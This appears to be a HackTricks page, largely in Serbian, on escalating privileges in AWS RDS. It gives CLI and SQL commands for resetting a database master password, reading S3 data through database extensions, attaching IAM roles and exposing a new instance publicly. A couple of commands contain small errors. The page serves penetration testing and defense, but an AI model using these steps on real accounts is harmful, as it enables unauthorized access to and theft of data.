AWS - RDS Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

RDS - Relaciona baza podataka

Za više informacija o RDS-u pogledajte:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Sa tom dozvolom napadač može modifikovati lozinku glavnog korisnika, i prijaviti se unutar baze podataka:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Bićete u mogućnosti da kontaktirate bazu podataka (obično su dostupne samo iz unutrašnjih mreža).

Potencijalni uticaj: Pronalaženje osetljivih informacija unutar baza podataka.

rds-db:connect

Prema dokumentaciji korisnik sa ovlašćenjem može se povezati sa instancom baze podataka.

Zloupotreba RDS Role IAM ovlašćenja

Postgresql (Aurora)

Ako prilikom izvršavanja SELECT datname FROM pg_database; pronađete bazu podataka nazvanu rdsadmin znate da se nalazite unutar AWS postgresql baze podataka.

Prvo možete proveriti da li je ova baza podataka korišćena za pristup nekoj drugoj AWS usluzi. To možete proveriti posmatrajući instalirane ekstenzije:

SELECT * FROM pg_extension;

Ako pronađete nešto poput aws_s3 možete pretpostaviti da ova baza podataka ima neku vrstu pristupa nad S3 (postoje i druge ekstenzije poput aws_ml i aws_lambda).

Takođe, ako imate dozvole da pokrenete aws rds describe-db-clusters možete videti da li klaster ima bilo koji IAM Role priložen u polju AssociatedRoles. Ako ima, možete pretpostaviti da je baza podataka pripremljena za pristup drugim AWS uslugama. Na osnovu imenovanja uloge (ili ako možete dobiti dozvole uloge) možete pretpostaviti kakav dodatni pristup baza podataka ima.

Sada, da biste pročitali fajl unutar kante morate znati punu putanju. Možete je pročitati sa:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Ako biste imali sirove AWS akreditive takođe biste ih mogli koristiti za pristupanje S3 podacima sa:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql ne mora da menja bilo koji parametar grupe da bi mogao da pristupi S3.

Mysql (Aurora)

Unutar mysql-a, ako pokrenete upit SELECT User, Host FROM mysql.user; i postoji korisnik pod imenom rdsadmin, možete pretpostaviti da se nalazite unutar AWS RDS mysql baze podataka.

Unutar mysql-a pokrenite show variables; i ako promenljive poput aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role imaju vrednosti, možete pretpostaviti da je baza podataka spremna za pristup S3 podacima.

Takođe, ako imate dozvole da pokrenete aws rds describe-db-clusters možete proveriti da li klaster ima bilo koji povezani role, što obično znači pristup AWS uslugama).

Sada, da biste pročitali fajl unutar bucket-a morate znati punu putanju. Možete ga pročitati sa:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Napadač sa dozvolama rds:AddRoleToDBCluster i iam:PassRole može dodati određenu ulogu postojećem RDS instanci. Ovo bi moglo omogućiti napadaču da pristupi osetljivim podacima ili modifikuje podatke unutar instance.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci. Imajte na umu da neki DB-ovi zahtevaju dodatne konfiguracije, kao što je Mysql, koji mora navesti ARN uloge u grupama parametara takođe.

rds:CreateDBInstance

Samo sa ovlašćenjem, napadač bi mogao da kreira novu instancu unutar klastera koja već postoji i ima priloženu IAM ulogu. Neće moći da promeni lozinku glavnog korisnika, ali bi mogao da izloži novu bazu podataka internetu:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Test

Napadač sa dozvolama rds:CreateDBInstance i iam:PassRole može kreirati novu RDS instancu sa određenom ulogom pridruženom. Napadač tada može potencijalno pristupiti osetljivim podacima ili izmeniti podatke unutar instance.

Neophodni zahtevi uloge/instance profila za pridruživanje (od ovde):

  • Profil mora postojati u vašem nalogu.

  • Profil mora imati IAM ulogu koju Amazon EC2 može pretpostaviti dozvole.

  • Ime instance profila i povezano ime IAM uloge moraju početi sa prefiksom AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene modifikacije podataka u RDS instanci.

rds:AddRoleToDBInstance, iam:PassRole

Napadač sa dozvolama rds:AddRoleToDBInstance i iam:PassRole može dodati određenu ulogu postojećoj RDS instanci. Ovo bi moglo omogućiti napadaču da pristupi osetljivim podacima ili modifikuje podatke unutar instance.

DB instanca mora biti van klastera za ovo

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated